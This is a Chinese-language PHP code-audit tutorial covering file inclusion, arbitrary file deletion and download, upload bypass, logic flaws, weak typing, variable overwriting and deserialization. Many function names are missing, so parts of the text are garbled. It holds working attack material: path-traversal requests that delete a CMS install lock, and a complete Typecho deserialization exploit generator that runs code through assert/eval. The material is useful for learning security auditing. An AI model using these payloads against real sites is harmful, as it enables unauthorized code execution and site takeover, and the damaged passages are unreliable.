发布时间:2023-08-09
浏览次数:0
ftp://—访问 FTP URL
php:// - 访问各个输入/输出流 (I/O)
zlib://——压缩流
数据:// - 数据 ()
glob:// — 查找匹配的文件路径模式
phar:// - PHP 存档
ssh2://—
rar://—RAR
ogg://—音频流
// — 处理交互式流
各类伪合约的使用方法网上有很多,请自行搜索。
实际审核
直接看主页index.php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
它将包含文件目录中的文件。 由于它不过滤../,因此它可以包含任何目录中的文件。 由于后缀的原因,该漏洞存在于低版本PHP中。
0x01 删除任意文件
任意文件删除审计 一般来说,我们搜索完功能后回头看。
inc\\.php
首先判断传入参数是否为空,然后拼接路径,第516行出现一个函数,我们跟进看看
这只是一个简单的判断,没有特殊情况。 我们来看看调用它的文件。
function file_path( $path ) {
$list=array();
$path= substr( $path, 0, strrpos( $path, '/' ));
$list=splits($path,'/');
return $list;
}
function arr_search($arr1, $arr2 ) {
$result=false;
foreach ( $arr1 as $v ) {
if(in_array( $v,$arr2 )) return true;
}
return $result;
}
获取参数,然后看看我们传入的路径中是否存在这个字段上面的值,也就是基本没有过滤,因为我们可以通过../跳回来。
:
POST /zzzp6p/admin/save.php?act=delfile
path=/zzzp6p/upload/../install/1install.lock
这里我们走的下面的分支不能删除 array( 'php', 'db', 'mdb', 'tpl' )
这个数组的文件。
要删除任何文件只需使用
path=/zzzp6p/runtime/../install/1.db
只要让 () 为 true 并进入分支内部即可。
一般来说,我们通过删除任意文件并结合删除.lock来实现网站重装漏洞。
0x02 任意文件下载
任意文件下载在显示和下载文件的情况下很常见,通常感兴趣的文件与下载相关,例如。 其实你也可以构建源码找个地方下载。
常用下载或读取函数:()、()、fopen()
在网上找到了个人审核的例子,结合它来审核,使用的源码是TF8
向下搜索相关成语,找到文件\\\\\\\\down.php
我们看一下$file参数是怎么来的,先调用函数(),再转到函数中看看
不出意外,应该是从数据库读取路径,然后看()函数
构造下载地址,那些地方都没有问题,我们看看数据是插入到存储地址的表的哪里,并搜索表名lyric。
\\\\用户\\音乐\\ajax.php
我们看到$lyric通过了,这两个函数的清理首先转移到了函数中。
我们传入的模式是get,通过()的通配符后,下面就替换成了空,也就是说我们基本上不能用\\\\了,我们看看
这里的正则表达式匹配我们的
.\\
?=
.php?
这里根本看不懂php的匹配后缀? 这有什么意义,直接绕过php。
所以综上所述,不要包含\\和./这里我们只需要传入绝对路径即可
登录前台找到歌曲上传的页面,插入歌词地址
:
D:/phpstudy/PHPTutorial/WWW/Ear_Music/template/default/source/down.php
0x03 文件上传
文件上传只有一个函数() 一般来说,我们可以搜索这个函数进行回溯,看看它的验证方式是黑名单还是白名单,是否是后端限制,是否只是简单的验证文件头,是否是可以绕过的正则匹配,是否渲染图像。
结合审计文件上传和全局搜索
\\\\inc\\.php
回溯查看该函数在哪里被调用
使用asa可以绕过典型的黑名单验证,只需在后台添加此扩展即可
只需上传即可。 其实也可以通过上图中的分支。 只要传入的类型不是他的类型,就可以跳过后台添加的步骤。
0x04 文本结束
对文件的操作也见于写入其他配置文件,通常是写入缓存文件。
0x06 逻辑漏洞审计 0x00 简介
逻辑漏洞是指由于程序逻辑不严或功能使用不当而导致的非法访问、规避、非法修改密码、重复安装等问题。 一般来说,逻辑漏洞的挖掘需要一定的代码阅读能力。
0x01 越权
违反权限通常意味着正确验证不严格或没有验证。 通常我们对后台进行审计,发现某个功能不包含验证文件,那么很有可能会出现越权操作的情况。 事实上,有很多问题并不局限于后台访问。
在很多小网站上,侵犯权限的情况时有发生。 这是大家在漏洞挖掘中更喜欢的。 有些权限违规在黑盒测试中似乎更容易被发现,所以你可以灵活地使用代码审计,不要限制你的思维。
越权是一个很大的话题,我想我不能讲太多,所以请多看文章。
1、后台越权:后台部分页面没有引入验证文件
比如我们这里在雄海cms中删除这个验证,就可以直接访问这个页面了。 许多程序员会忘记添加每个页面。
2、横向越权:用户试图访问与自己具有同等权限的用户的资源,例如被删除的收割地址没有验证权限,导致他人地址被越权删除。
我们用这个程序来演示\\form\\index.php
他这里并没有越权,我这里只是解释一下,简单介绍一下如何越权审计。 我们看这段代码的时候,上次他改变了我们的uid的值,而我们的uid是通过POST包获取到的,也就是说,如果我们能够控制uid,我们就可以在未经授权的情况下改变别人的信息。 这里是一个验证 $uid!=('uid')('抱歉,数据更改失败'); 所以没有办法超越权限,我们可以删除它来演示看看。
已成功更改 UID 1 的用户配置文件。
3. 垂直覆盖:低级别用户尝试访问高级别用户的功能。
0x02 验证不严格
这里使用的是雄海CMS,我们随机点击一个后台页面,里面有一个验证文件
'../inc/.php'; 看看这个文件
判断我们上面的用户是否为空,如果不为空就可以访问后台。
0x03 安装程序逻辑问题
这里找了很久的源码,发现红日安全写了一个-Log1.6,在这里使用了他的源码。
这里他判断是否安装了,然后直接跳转到主页,但是程序并没有退出,所以前面的程序仍然可以执行,也就是说可以直接安装前面的程序。
这种无法正确退出导致的漏洞相当多,大家可以在后台等地方注意一下。
0x04 文本结束
其实逻辑漏洞不仅限于这些,还有验证码逻辑绕过、功能缺陷等其他问题,建议大家看看别人的审计文章。
0x007 函数或弱类型缺陷和特征 0x00()
如果给定值存在于链表数组中,(, array, type) 返回 true。 如果第三个参数设置为 true,则仅当该元素存在于链表中并且数据类型与给定值相同时,该函数才会返回 true。 如果在链表中未找到该参数,则该函数返回 false。
那么为什么会出现安全问题呢? 我们看一下下面的代码
如果不设置第三个参数,()函数会将1and1=1转换为数字1进行比较,所以这会导致一些安全问题,在注入或者上传的情况下可能会被绕过。
0x01()
() 函数将判断变量是数字还是数字字符串。 如果我们传入的字符串是16的补码,它也会被认为是一个数字。
我们知道,我们向mysql插入数据时,可以是16的补码,去掉后又会恢复成原来的字符串,这样用()函数检查后可能会出现二次注入。
弱类型的特点
PHP 是一种弱类型语言。 使用==比较字符串时,会将字符串类型转为相同的类型再进行比较,这也会带来一些问题。
他在字符串中能遇到的0e和0x都会被解析成对应的科学计数法和16的补码。
0x03()
当case为数值类型时,参数会转为int类型
0x04()
如果两者相等,比较函数返回0,>返回>0,否则大于0。在php版本5.3及更高版本中,当链表与()括号中的字符串进行比较时,也会返回0。
0x05()
如果在进行正则表达式匹配时没有对字符串的开头和结尾(^和$)进行限制,则可能会出现绕过的问题。
0x06 文本结束
其实还有反序列化、变量覆盖等,这里就不一一写了。 我会分别写。 还有一些功能特点大家可以自行搜索。
0x008 变量覆盖率审计 0x00 简介
变量覆盖,顾名思义,可以覆盖现有的变量值。 造成变量覆盖的漏洞有:
()、()、bles()使用不当,或者使用了$$或者启用了全局变量注册。
0x01 变量覆盖演示
()
(array,,) 函数将变量从链表导出到当前符号表。 正式链表中的通配符对被注册为函数,使用链表键值作为变量名,使用链表通配符作为变量值。
可以看到我们的初始变量值为a并且覆盖后就变成了我们输入的值。
()
() 函数用于将查询字符串解析为变量。 如果没有数组参数,则该函数设置的变量将覆盖现有的同名变量。 使用不带数组参数的这个函数,不设置参数的行为在PHP7.2上会被废弃,而且这个函数没有返回值。
布莱斯()
bles($types,$) 将 GET/POST/ 导出到全局范围,types 参数指定要导出的变量,G 代表 GET,P 代表 POST,C 代表。 该函数只能在PHP4.1~PHP5.4中使用。
$$
一个典型的例子就是将链表中的值作为变量进行遍历。
其中$_key的值为a,所以$a的值被覆盖为2。
还有全局注册,php配置默认关闭。
0x02 实战审核
这次利用了cms的变量覆盖漏洞,跟进主页到核心配置文件
\\\\.inc.php
看到文件的第24行到28行,很明显使用了我们前面提到的&&变量覆盖方式,只不过这里他用了()来防止注入,但是并不影响我们本章讲的知识。
请随意转到子文件并查看它如何在 \\news\\index.php 中加载
第7行包含一个变量,那么这个变量在哪里,我们跟进
/.php 瞧,在此文件中搜索 $。
虽然低版本的源码中没有$=''这句话; $变量都是在$!=7的if条件下,我给你打包的包是低版本的,我安装错了。也就是说,只要我们传入的$值为7,那么我们可以覆盖这个$的值
只要你上传一张图片或者其他文件,就可以被收录,因为他的后缀当时还没有确定。
重写变量时,一定要注意初始化值和重写的顺序。
0x009 反序列化审计 0x00 简介
PHP反序列化漏洞,当我们使用()进行反序列化时,如果反序列化对象中有一些我们可以使用的魔术函数,并且传入的变量是可控的,那么这个过程可能会触发这个魔术函数,执行我们想要的过程。
0x01 第一次遇到反序列化
对于反序列化,我们需要了解 php 类和魔术技巧。 这是一个简单的例子。 使用的魔术是在销毁类之前执行解构方法。
创建对象时输出我们的$a变量的值。所以我们改变它的值并使用()来查看
O:4:"test":1:{s:1:"a";s:5:"12345";} 是我们的序列化值,之后
($_GET['id']); 传入我们更改的值 O:4:"test":1{s:1:"a";s:3:"404";} 成功复制了我们更改的值,感谢反序列化我们可以控制类属性和这个过程会触发只能触发的魔法。
在这里您可以在互联网上找到一些魔术。 其实还是有一些可以绕过具体的。 您可以搜索它们。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
0x02 一个简单的问题
下面我改写了一个简单的CTF,我们来看看如何使用。
class foo1{
public $varr;
function __destruct(){
$this->varr->evaltest();
}
}
class foo2{
public $str;
function evaltest(){
eval($this->str);
}
}
?>
我们看到foo2中的()函数中有eval,而foo1中调用了()函数,我们想是否可以让foo1调用foo2中的()函数并重写其$str中的值。
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
class foo2{
public $str;
function __construct(){
$this->str = 'phpinfo();';
}
}
$obj = new foo1();
echo serialize($obj);
?>
我们将$varr变量参数设置为(),然后它调用()函数,然后我们将$str的值替换为我们要执行的命令。
0x03 实例审计
找了半天源码,觉得最有意义、审核最多的反序列化就是.1版本的漏洞。 看起来可能有点费力,但我尝试详细分析一下。
来到文件.php
听说要绕过.php程序的退出,只要传入的值不为空,这个站点的值就可以绕过。
我们来到了核心
这里调用了类的get方法,这里就不跟进了,就是获取到的数组值,然后()就是将参数反序列化到变量$,然后我们全局搜索了魔术之类的,发现就是没有什么可以用的点。
然后我们跟进这个类,看到sublime text 3 函数追踪,他传入了$['']和$['']。
var\\\\Db.php
在这里使用 .link$ 作为类将触发 () 魔术。
之后,全局搜索 (),看看哪里可以受益,并找到 \\var\\\\Feed.php。
如果 $item[''] 是一个类并且是私有或未定义的属性,则将手动触发 __get()
那么我们就搜索一下哪里有__get()可以使用
var\\\\.php中有这么一个地方
我把后续的代码全部放在一起,其中__get调用了get()函数,然后又调用了()函数,还有一个反弹函数可以导致命令执行
()和()的参数也是可以控制的,这样动力链我就找完了,下面我们来梳理一下
命中链:
install.php
|
绕过程序退出来到unserialize()
|
db.php中__construct() 触发__toString()
|
Feed.php中__toString触发__get()
|
request.php中__get()调用get()->_applyFilter()->回调函数
下面我们来构造exp。 为了方便理解,我们可以从尾写到头。
首先,我们需要的$值是一个命令函数。 这里,我们一般选择(),然后让get()中的$value为我们传入的命令,即[''],所以可以构造如下。
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');
private $_filter = array('assert');
}
request.php
构造完了再构造Feed.php
中需要的值,这里我们要进入$item
['author']->screenName
这个前面有个self::RSS2 == $this->_type
语句 RSS2= RSS 2.0所以赋值对应的,这里的调用跟我前面写的那个CTF类似。
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
最后,返回 .php 并查看 $db=($[''],$['']); 触发db.php中的()需要传入2个值,其中一个是默认的,所以我们传入之前我们序列化的值就可以了。
:
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');
private $_filter = array('assert');
}
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
$payload = array('adapter'=>new Typecho_Feed());
echo base64_encode(serialize($payload));
?>
为什么();exit();里有exit(),因为程序开始使用()这个函数会将输出放入缓冲区,而()触发异常后会清空缓冲区,导致没有echo 。 所以我们可以找个函数跳出来,或者执行完后报错跳出,或者干脆不回显写一句。
这种反序列化通常很难找到。 个人觉得比较方便的是找到中间的两端,找到可以使用的入口,然后找到可以使用的功能,然后找到一条从入口点到使用点的路。
0x04 文本结束
反序列化的地方也可以配合.php注入等注入。
0x010 研究全文审核 0x00 简介
学习完全文后,建议您开始审核一些比较容易理解的CMS。 我们先看一下网站的总体框架。 这里你大致知道哪些文件夹包含哪些类型的文件,然后从index.php文件开始读取,然后重点关注是否有全局过滤器等等。
0x01 实例审计
本文使用的源码是我们通过这个程序来简单了解一下如何研究全文代码进行审计。 这里我们只做简单分析,不做深入审核。
了解网站框架
├─admin //后台
├─config //配置文件
├─form //前台
├─images //图片
├─inc //包含文件
├─install //安装文件
├─js //js文件
├─plugins //插件
├─runtime //临时
├─search //搜索
├─template //模板
├─upload //上传文件夹
└─wap //手机
首先我们看到这个结构。 如果你有一点审计基础或者懂一点法语,应该能明白这种目录的含义。 事实上,有些程序员喜欢使用不同的命名规则,这是普遍的情况。
了解网站过滤和路由
我觉得阅读全文不是无心阅读,是浪费时间。 我们通常应该首先读取其核心文件,通常位于包含它们的文件夹中。 如何找到核心文件通常是通过查看文件名,例如包含 main 等,还可以查看文件大小。 通常core文件包含的函数较多,文件也比较大。 也可以通过入口文件一步步看。 例如,这里的核心文件是 . 筛选。
我们来到\\inc\\.php
() 解析 URL
() 获取参数
过滤函数()以及一般与过滤相关的函数都包含一些字符如safe或者包含函数()()
了解系统数据库类
不仅仅是这个文件,我们还可以看一下等关键字文件,看看他的数据库连接形式,以及他的连接形式是否存在宽字节注入的可能性。
开始审核
读完这个之后我们就可以从index.php中一层一层的读取了。
来到index.php直接文件inc/.php先判断然后执行前面
参见最后一句(G('sid'), G('cid')); 这里调用了()函数,我们可以跟进看看。
进入if分支
if ( $sid > 0 ) {
$data = db_load_one( 'sort', 'sid=' . $sid );
跟进函数db_load_one()
这里会把传入的&替换为and
跟随函数()
这里就不详细介绍了,只介绍一下思路。 基本上我确信如果传入的参数不经过过滤的话,这里就会有注入。
这里如果按照G()的话,会发现是通过$['sid']获取的,即上面解析url得到的值是没有过滤的,所以这里基本就是一次注入。
读取完这些文件后sublime text 3 函数追踪,我们可以从各个函数文件夹的索引中读取它们,例如这里我们来到\\\\index.php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';
或者回到我们刚才跟进的文件/inc/.php中搜索关键词
看完源码分析
case 'search':
$tplfile= TPL_DIR . 'search.html';
break;
看到选择后形式参数被赋予变量 $ 后,我们正在跟踪该变量在哪里
被称为
找到了解析模板的过程,然后跟进到inc\\.php并阅读下面发现一个函数()
()函数过滤之后,也经过()函数过滤,下面好像还有函数也是获取参数的,这个就用到了函数isset(),它是一个测量变量的函数,它定义时为 true。 这里是没办法进去的,不然就是注射了。 其实这也是老版本的注入,而且这里的版本已经打过补丁了。 你也可以从admin的index.php开始阅读,多关注一些功能点,建议构建它来熟悉整个程序。
0x02 文本结束
研究完这个我们可以知道,他调用()函数的时候我们基本上不考虑注入,因为已经被过滤了,除非他之前用其他函数处理过了。 在调试复杂的句子时,我们可以通过mysql监控软件进行调试。 当我们发现某个类的函数或者写法存在漏洞时,我们可以利用全文检索来查找相同的代码,从而对某个类进行全面挖掘。
结尾。
欢迎转发~
如有侵权请联系删除!
Copyright © 2023 江苏优软数字科技有限公司 All Rights Reserved.正版sublime text、Codejock、IntelliJ IDEA、sketch、Mestrenova、DNAstar服务提供商
13262879759
微信二维码